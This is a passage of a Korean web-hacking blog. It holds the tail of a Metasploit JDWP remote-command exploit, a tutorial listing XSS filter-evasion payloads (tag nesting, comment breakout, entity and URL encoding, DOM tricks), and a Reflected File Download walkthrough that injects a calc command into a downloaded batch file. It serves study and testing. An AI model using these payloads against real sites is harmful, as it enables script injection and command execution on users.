    buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
    unless buf[0] == [TAG_OBJECT].pack('C')
      fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
    end
그러고나선 runtime class를 통해 exec를 날리죠.
(metasploit 코드는 직접 만들땐 잘 보이는데, 남에꺼 보면 왜이리 눈에 안들어오는지 모르겠어요. 심지어 주력 언어가 ruby인데 말이죠 =_=)

exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
    if exec_meth.nil?
      fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()")
    end

    data = [TAG_OBJECT].pack('C')
    data << format(size, cmd_obj_id)
    data_array = [data]
    buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
    unless buf[0] == [TAG_OBJECT].pack('C')
      fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
    end
  end

Full Code
https://www.exploit-db.com/exploits/33789/

Reference

http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html
https://www.exploit-db.com/papers/27179/
https://www.exploit-db.com/exploits/33789/
https://github.com/IOActive/jdwp-shellifier
Share: | Coffee Me:

6/08/2016

[WEB HACKING] Anti-XSS Filter Evasion of XSS(Cross-Site Scripting) Attack

웹 해킹 시 가장 많이 잡는 취약점 중 하나가 XSS와 URL Redirection입니다.
항상 하다보면 꼭! 스크립트로 들어갈 수 있으나 함수 및 특정 특수문자 필터링에 막히는 경우가 종종 있죠.
뭐 대다수는 시간을 투자하면 풀리게 되어있습니다. 필터링 규칙만 정확하게 파악하면 간단하죠.

여러가지 우회케이스가 있었으나 이런 내용은 포스팅으로 잘 안쓰게 되더군요.
(물론 귀찮아서..ㅋㅋ)

그래도 여러분들께 재미있는 우회 기법 몇개 공유해드리면 좋을 것 같아서 크리티컬하지 않은 선에서 추려서 작성해봅니다.
(이후에 문서로 만들어서 관리할까해요. 완성되면 문서도 공유드리겠습니다.)


1. Default XSS

 + TAG
 + Event Handler

XSS 체크 시 가장 먼저 테스트하게 되는 것은 바로 < > ' " 와 같은 특수문자에 대한 테스트입니다. 이 특수문자에 대해 필터링이 되지 않을 시 HTML Tag나 Event Handler를 호출하여 악의적인 스크립트 구문을 만들고 사용자로 하여금 실행하도록 할 수 있습니다. XSS Filter Evasion 이 핵심이기 때문에 기초적인 부분은 제외하고 우회법에 대한 이야기를 하도록 하겠습니다.

일반적으로 필터링에는 White List 기반 필터링과 Black List 기반 필터링이 있습니다. 이것은 대체로 File Upload 취약점에 많이 언급되는 방법이죠. 그러나 XSS 또한 String에 대한 필터링을 하는것이기 때문에 어떠한 방식으로 필터링 되었는가가 중요합니다.

White List 기반 필터링
이 필터링 기법은 허용해야할 태그, 속성을 제외한 나머지 모든 문자열에 대해 필터링 하는 방법입니다. 덕분에 공격자에게 뚫기 힘들다는 절망감을 안겨주지요. 대체로 XSS에 대한 권고 시 가장 추천하는 방식이며 대체로 게시판과 같이 특수문자를 필터링할 수 없어 태그, 속성에 대해 필터링할 때 사용됩니다.


Black List 기반 필터링
이 필터링은 White List와는 반대로 지정한 태그, 속성, 특수문자 등에 대해서만 필터링 처리를 합니다. 물론 White List 보단 헛점이 많겠지만 검색기능과 같이 특수문자가 일반적이지 않은 구간에선 서비스의 성능과 개발 리소스를 고려했을 때 나쁘지 않은 선택입니다. 주로 특수문자 필터링 시 사용되는 방법이며 게시판과 같이 특수문자를 필터링할 수 없는 상황에선 많은 우회 상황을 만들어 내게 됩니다.

위 두 필터링에는 고유한 약점이 있습니다. 바로 필터링 하는 규칙입니다. 공격자는 반복적인 테스트를 통해 이 규칙에 대해 파악하게 되고 정말 튼튼한 필터가 아니라면 대부분 우회하여 공격에 성공하게 됩니다.

White List 필터링 우회
허용해야할 문자 이외에 모든 내용에 대해 필터링하는 이 방법은 사실상 공격하기가 좀 까다롭습니다. 이러한 필터링 규칙은 의미없는 태그나 속성을 사용하여 확인할 수 있습니다. 만약 아래와 같이 존재하지 않는 태그를 입력하였는데 필터링된다면 바로 White List 기반 필터링이지요.





<hahwul>test</hahwul>
이런 필터링은 튼튼하긴 하지만 필터링을 통해 나타나는 데이터에 대해 헛점이 존재할 수 있습니다. 대표적으로 공백으로 바꾸거나 다른 문자열을 만드는 등의 필터링등이 위험합니다. 예시로 아래와 같은 필터링 규칙이 있다고 가정합니다.

Input: <script>alert(45)</script>
Ouput: alert(45)
위에 입력과 출력을 보아 이 필터링은 script 태그가 들어갔을 때 공백으로 바꾸어줌을 알 수 있습니다. 물론 경우가 많기 때문에 여러가지 테스트를 해보는것이 좋습니다. 공격자는 공백으로 바꿔주는 순간을 이용해 새로운 공격코드를 만듭니다.

Input: <scr<script>ipt>alert(45)</scr<script>ipt>
Ouput: <script>alert(45)</script>
이런식으로 우회가 가능합니다. 아주 기초적이고 간단한 방법이지만 아주 많은 서비스에서 이러한 방법으로도 우회가 가능하기도 합니다. 잘 막기 위해서는 여러번 반복하여 필터링해야할 문자열에 대해 필터링이 필요하겠죠. 또 하나 예시를 들어보면 이런 경우도 있습니다.

Input: ";alert(45);//
Output: run="alert(45)";
위 내용은 Javascript 내에 XSS가 들어갔을 때 상황이며 세미콜론과 슬래쉬(주석)이 필터링되어 아쉽게 동작하지 않는 경우입니다. 이럴때는 다른 문자열을 이용하여 구문을 완성 시킬 수 있습니다.

Input: "+alert(45)+prompt("
Output: run=""+alert(45)+run="";
Javascript는 +를 이용하여 문자열을 합칠 수 있습니다. 위와 같이 각각 더블쿼테이션을 이용해 변수 값을 닫아주고 alert(45)의 return value를 더해줍니다. 그러면 Javascript 구문상에서는 문제가 없게되고 정상 동작하여 공격자가 의도한 alert(45) 함수가 동작하게 됩니다.

Black List 필터링 우회
White List와 다르게 Black List는 쉽게 우회가 가능합니다. 일단 White List에선 사용한 방법은 물론 필터링되지 않은 태그나 문자열을 찾는것이 중요합니다. 이건 태그/속성에 대해 미리 코드를 만들어두고 한번에 테스트하는 것이 편리합니다.
예를 들면 아래와 같겠죠.

<script>alert(1)</script>
<iframe src=javascript:alert(2)></iframe>
<img src="z" onerror="alert(3)">
<input autofocus onfocus="alert(4)">
...

이런식으로 번호를 지정해두면 나중에 찾기도 좋고 쓸만합니다.

White List에서 설명한 필터링 규칙을 이용한 우회 방법은 정말 많습니다. 아마 규칙에 따라 무한대로 방법을 만들어낼 수 있겠지요. 이 과정에서 가장 중요한 것은 필터링 규칙 파악입니다. 규칙만 정확하게 파악되면 약점을 찾기 쉽기 때문에 이러한 시야를 키우는것이 필요합니다.

크리티컬하지 않은 선에서.. 여러가지 우회 Case에 대해 조금 써보겠습니다.


Filter: Tag -> Blank
Case
Input: <script>alert(45)</script>
Ouput: alert(45)

Attack
Input: <scr<script>ipt>alert(45)</scr<script>ipt>
Ouput: <script>alert(45)</script>

Filter: 구문 필터링
Case
Input: " onerror=document.location.href="www.hahwul.com"
Output: //Filtered..

Attack
Input: " onerror=document.loc(at)ion.href="www.hahwul.com"
Output: " onerror=document.location.href="www.hahwul.com"


Filter: 특수문자 필터링
Case
Input: ";alert(45);//
Output: run="alert(45)";

Attack
Input: "+alert(45)+prompt("
Output: run=""+alert(45)+run="";


Filter: 구문 필터링
Case
Input: <script>alert(45)</script>
Ouput: <!-- Not Allowed -->

Attack
Input: <ScRipT>alert(45)</scRipT>
Ouput: <ScRipT>alert(45)</scRipT>


Filter: 구문 필터링
Case
Input: <script>alert(45)</script>
Ouput: <!-- Not Allowed -->

Attack
Input: <script>alert(45)</script>
Ouput: <script>alert(45)</script>


Filter: 구문 필터링(Length)
Case
Input: <script>alert(45)</script>
Ouput: <script>alert(

Attack
Input1: <script>/*
Input2: */alert(45);/*
Input3: */</scrpit>
Ouput: <script>/*
asfdasdfasfasf
asfasdfasf
*/alert(45)/*
asdfasdfasf
asdfasfd*/</script>


Filter: 주석으로 처리
Case
Input: <script>alert(45)</script>
Ouput: <!-- Not Allowed Tag :: <script>alert(45)</script> -->

Attack
Input: --><script>alert(45)</script>
Ouput: <!-- Not Allowed Tag :: --><script>alert(45)</script> -->


Filter: 구문 필터링(Hidden 속성)
Case
Input: " onerror=alert(45) z="
Ouput: <input value="" onerror=alert(45) z="" type="hidden">

Attack
Input: " type="text" onerror=alert(45) z="
Ouput: <input value="" type="text" onerror=alert(45) z="" type="hidden">


Filter: 구문 필터링
Case
Input: " onerror=alert(45) z="
Ouput: <input value="&quot onerror=alert(45) z=&quot">

Attack
Input: \" onerror=alert(45)
Ouput: <input value="\" onerror=alert(45) ="">

2. Encoding을 이용한 XSS

인코딩을 이용한 필터링 우회 기법은 가장 고전적이면서도 잘 사용되는 방법입니다. 실제로 개발자가 XSS 필터를 만들 때 인코딩에 대해서 완벽히 고려한 후 필터링하기는 굉장히 어렵습니다. 그만큼 이 방법이 우회하기 좋은 포인트라는 말이죠.

XSS 이외 여러 공격에도 사용되어 자료가 많기 떄문에 간단하게 짚고 넘어가겠습니다. 궁금할땐 구글링이 제일이죠.

A) URL Encoding
가장 기본적인 인코딩 기법입니다. 기본적으로 웹 브라우저를 타고 데이터가 넘어갈 때 URL 인코딩되어 넘어가게 되는데
이 인코딩은 특수문자 및 한글에 대해 인코딩됩니다. 그러나 URL 인코딩은 이외에도 각 알파벳 단어 또한 지원하기 때문에 필터링을 우회하기 위해 많이 사용됩니다.

예시를 들면 아래와 같은 형태의 인코딩이 가능하겠네요.

Filter: 구문 필터링
Case
Input: <script>alert(45)</script>
Ouput: <!-- Not Allowed -->

Attack
Input: <sc%72ipt>alert(45)</script>
Ouput: <script>alert(45)</script>
위와 같이 문자열을 인코딩하여 구문 필터링을 우회할 수 있고 특수문자 또한 인코딩을 통해 필터링을 우회한 후 XSS로 동작할 수 있습니다. %3c%73%63%72%69%70%74%3ealert(45)%3c%2f%73%63%72%69%70%74%3e 이런식으로 특수문자부터 구문까지 다양하게 사용할 수 있습니다. 또한 웹 사용 시 URL 인코딩이 되지 않는 문자열 또한 인코딩하여 전송이 가능합니다.

대표적으로 괄호에 대해 필터링 시 ( ) 를 의미하는 %28, %29 를 사용하여 스크립트 구문을 넣을수도 있지요.

B) HTML HEX(Char) Encoding
사실 HEX 인코딩이나 URL 인코딩이나 비슷비슷합니다. 둘다 Ascii를 기반으로 동일한 숫자 패턴을 사용하기 때문에 자주 해보시면 인코딩된 문자랑 일반 문자랑 바로 매칭이 됩니다.

HTML Char는 &#x를 이용하여 Ascii형태의 숫자를 가지고 문자를 명시할 수 있습니다. 위에서 본 것 같이 < > 에 대한 인코딩을 적용하면 아래와 같겠네요.

<  = &#x3c;
>  = &#x3e;
공격코드처럼 꾸며보면 뭐 이런식이겠네요.

&#x3c;script&#x3e;alert(45)&#x3c;/script&#x3e;
인코딩을 통한 공격은 쉽게 막을 수 있습니다. 그러나 HTML HEX(Char)의 장점이자 재미있는 내용은 0 을 이용해서 동일한 문자를 다르게 표현할 수 있다는겁니다.

개발자는 아래 공격코드에 대해 필터링을 하였습니다.

Input: &#x3c;script&#x3e;alert(45)&#x3c;/script&#x3e;
Output: &lt;script&gt;alert(45)&lt;/script&gt;
이렇게 되었을 시 HTML 내에서 정상적으로 작동하지 않게 되어 XSS에 취약하지 않은 상태입니다.
그러나 공격자는 0 을 이용해서 여러가지 공격코드를 만들어 낼 수 있습니다.

Input: &#x003c;script&#x003e;alert(45)&#x003c;/script&#x003e;
Input: &#x00003c;script&#x00003e;alert(45)&#x00003c;/script&#x00003e;
Input: &#x0000003c;script&#x0000003e;alert(45)&#x0000003c;/script&#x0000003e;
Input: &#x000000003c;script&#x000000003e;alert(45)&#x000000003c;/script&#x000000003e;

Ouput: <script>alert(45)</script>
이런식의 코드 구성도 가능하겠네요.

 <A HREF="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;    &#x34;&#x35;&#x29;">XSS</A>

=> javascript:alert(45)
C) Unicode Encoding
유니코드도 XSS에 많이 사용되는 인코딩 중 하나입니다. 이 인코딩 방법은 %u에 각각 String에 대한 값을 가지고 인코딩된 문자열을 만들 수 있습니다.

<br> => %u003cbr%u003e
위에랑 비슷한 방법으로 필터링을 우회할 수 있겠지요.

3. DOM 영역을 이용한 XSS 우회

DOM Base XSS 많이 들어보셨을겁니다. DOM(Document Object Model)은 HTML의 Document를 의미하며 사용자가 고려된
동적인 영역입니다. 이런 DOM 영역에서의 XSS를 DOM XSS라고 부르지만 이번 내용에서는 DOM 을 이용해서 필터링을 우회하는 방법에 대해 작성할까 합니다. 일단 DOM에 대해 어느정도 알고가야 좋습니다.

DOM은 !doctype 최상위 요소인 #document 부터 시작되며 Element, Node로 이루어집니다.
XSS를 해보셨다면 document가 굉장히 익숙할 껍니다. location.href로 페이지를 넘기는 등의 행위를 하던게 바로 DOM입니다.

DOM
 Document -> Element -> Node

아래 Case는 img 태그와 핸들러를 이용해서 구문삽입을 하였지만 스크립트 내 ":"와 "(,)" 에 대한 필터링으로
공격이 어려웠던 케이스였습니다. 이친구는 위 특수문자 들이 삽입된 후 불러오는중에 해당 문자가 구문에 포함되면 필터링하는 구조를 가지고 있었습니다. 그래서 아래와 같이 testz라는 Element node 내 title 영역에 공격구문을 넣고 취약 구간에서 불러오는 식으로 우회하였습니다.

<img id="testz" title="javascript:alert(45)">
<img src="z" onerror="document.location.href=document.testz.title">
각각 document 내 Element는 여러가지 속성값을 가지고있고 해당 속성에 대한 정보를 DOM 영역에서 불러올 수 있습니다.
공격자는 DOM 영역에 공격코드를 넣어두고 불러와서 필터링을 우회하여 공격할 수 있는 상황 또한 가능하겠지요.

저는 XDE(XSS-DOM Evasion)라고 부르며 dom을 잘 활용하면 필터링 우회에 있어 어느정도 도움이 될 것 같습니다.
관련 자료는 블로그에 정리해두었고, 주소 첨부합니다.
http://www.hahwul.com/2016/05/web-hacking-xdexss-dom-base-evasion.html

알아두면 좋은 Event Handler



Reference 

http://mobicon.tistory.com/473
Share: | Coffee Me:

6/02/2016

[WEB HACKING] Reflected File Download(RFD) Attack


요즘 정신없이 보내다보니 간만에 글을 쓰게 되네요.
오늘은 BlackHat 2014에서 Hot했던 RFD에 대한 이야기를 하려합니다.
(벌써 2년이나 지났네요 ㅎㅎ..)

BlackHat 2014 Europe 에서 발표된 이 내용은 RFD, New Web Attack이란 아젠다고 진행되었고 신뢰할 수 있는 도메인에서 파일을 다운로드하여 제어권을 가져갈 수 있는 공격이라고 발표되었습니다.



RFD(Reflected File Download)?

이 공격 방법에 대한 내용을 살펴보자면 핵심 키워드는 JSON, 신뢰된 도메인으로 생각되네요.

일단 신뢰된 도메인에서 우리가 파일을 받을 때 직접 exe롤 호출하기도 하고 api 를 통해 다운로드 받기도 합니다.

요즘 많은 서비스들이 JSON,JSONP를 사용하고 있고 RFD 또한 이러한 공격 유형에서 많이 발생합니다.

실제 테스트 페이지를 만들기 전 구글에 제보되었던 취약점에 대해 보면서 이해해 볼까 합니다.

구글 검색을 통해 발생하는 요청을 살펴보면 아래와 같은 요청이 나가게 됩니다.

Request

GET /s?q=hwul HTTP/1.1
Host: google.com
~~~~
Reponse

HTTP/1.1 200 OK
Content-Type: application/json;
Content-Disposition: attachment

{"result":["q","hwul","zzzz"]}
여기서 주의깊게 보셔야할 것은 json 형태로 데이터를 받는것과 Content-Dispositon 입니다. 해당 부분이 attachment로 구성되어 첨부파일로 떨어질 수 있기 때문입니다.

공격자는 백슬래쉬(\) 등을 이용하여 더블쿼테이션(") 을 나옵니다.
이 부분은 일반적인 웹 해킹에서 많이 사용하는 방법이죠.

Request

GET /s?q=hwul\ HTTP/1.1
Host: google.com
~~~~
Reponse

HTTP/1.1 200 OK
Content-Type: application/json;
Content-Disposition: attachment

{"result":["q","hwul\","zzzz"]}
공격자는 || 를 통해서 추가적인 값을 넘기게 됩니다.
(발표 자료에서는 calc, 즉 계산기를 호출했죠)



Request

GET /s?q=hwul\"||calc|| HTTP/1.1
Host: google.com
~~~~
Reponse

HTTP/1.1 200 OK
Content-Type: application/json;
Content-Disposition: attachment

{"result":["q","hwul\"||calc||","zzzz"]}
위에 나온 Reponse 값을 Windows CMD에 붙여넣어 보면 아래와 같이 계산기가 뜸을 확인할 수 있습니다. \ 문자열로 잘려고 or 연산으로 인해 calc가 명령행으로 들어가게 되는거지요.

{"result":["q","hwul\"||calc||","zzzz"]}
파일 이름, 디렉토리 이름 또는 볼륨 레이블 구문이 잘못되었습니다.
(The filename, directory name, or voulme label syntax is incorrect)

위 메시지가 발생하고 바로 calc가 실행되네요.



다시 본론으로 돌아와서 방금 Response 중 헤더를 살펴보면
Content-Disposition이 attachment로 지정되어 있습니다. 아까 말씀드린대로 첨부형태로 떨어질 수 있고 아래 구문이 떨어지면서 역슬래쉬(\)로 구문우회 후 or 연산을 거쳐 calc가 실행되게 됩니다.

원격으로 파일을 내리거나 실행할 수 있게 되지요.

자 이제 사용자를 속일 차례가 되었습니다. 물론 위 방법대로 바로 받는다면 {"result":["q","hwul\"||calc||","zzzz"]} 이 남은 의미없는 파일이 생성되기 때문에 사용자를 낚아야 겠지요.

이제 공격자는 요청에 설치파일인 척 꾸밉니다.

Request

GET /s;/install.bat;?q=hwul\"||calc|| HTTP/1.1
Host: google.com
~~~~
Reponse

HTTP/1.1 200 OK
Content-Type: application/json;
Content-Disposition: attachment

{"result":["q","hwul\"||calc||","zzzz"]}
이럴 때 서버는 사용자에게 아까와 같은 Response를 던지게되고
사용자 PC는 해당 내용을 install.bat이란 파일로 저장하게 됩니다.

신뢰된 도메인으로 부터 받은 파일이기 때문에 사용자는 의심없이 해당 bat 파일을 실행하게 되고 아까 받아진 명령행이 넘어가면서 calc가 실행되게 됩니다.

이러한 공격은 명령행으로 넘길 수 있다면 어떤 상황에서든지 가능합니다.
대체로 .bat, .cmd에서 동작할 것이며 리눅스도 비슷한 방법으로 가능할 것 같네요.

RFD의 위험성과 대응방안

위에 설명만으로도 충분히 위협적인 공격이라고 인지하셨을 것 같습니다.
여기에 추가로 활용 가능성에 대한 이야기가 더 있었습니다.



아래 자료를 보시면 이해가 다른 케이스에 대해서도 참고하실 수 있을 것 같네요.

https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf

대응은 다른 웹 취약점과 비슷비슷합니다. 가장 중요한 특수문자 필터링이 꼭 필요하겠지요. 물론 최종적으로 실행하는 것은 사용자이지만 신뢰 도메인에서 떨어지기 때문에 서버 관리적인 측면에서 보안을 하는것이 훨씬 효율적일 것 같습니다. 정기적으로 웹 공격에 대해 점검을 받는게 제일일 것 같네요. (모든 기술에는 허점이 있기 때문에!)

RFD Check Point

쉽게 정리해볼까합니다.
일단 RFD는 Reflected File Download의 약자이며 RXSS와 같이 사용자로 하여금 악성 파일을 다운로드 하여 실행하게 하는 공격 유형입니다.

다만 특이한점이 있다면 신뢰된 도메인으로 부터 받고, 실제로 파일이 존재하지 않더라고 batch나 스크립트를 통해서 명령을 실행할 수 있다는 점 입니다.

공격자 입장에서 이 취약점을 찾기 위해 어떤 방법이 있을지 생각해 보았습니다. 일단 제일 중요한 부분은 첨부파일 형태로 만들어낼 수 있는지 확인이 필요합니다. 바로 HTTP Response Header 내 Content-Disposition: attachment 부분입니다.

attachment로 지원하는 요청중에서 우리의 입력이 Response에 남고, 역슬래시(\) 등 특수문자를 통해 batch 내 우회구문을 만들 수 있는지 확인이 필요합니다. 위 2 조건이 만족한다면 우리는 가짜 파일을 사용자로 하여금 다운로드 받게 할 수 있고, 사용자는 그 파일이 취약점을 찾아낸 도메인으로 부터 온 파일이기 때문에 신뢰하고 실행하여 공격자가 reverse shell이나 악의적인 명령을 실행할 수 있게합니다.

Reference

https://www.trustwave.com/Resources/SpiderLabs-Blog/Reflected-File-Download---A-New-Web-Attack-Vector/

https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf

Share: | Coffee Me: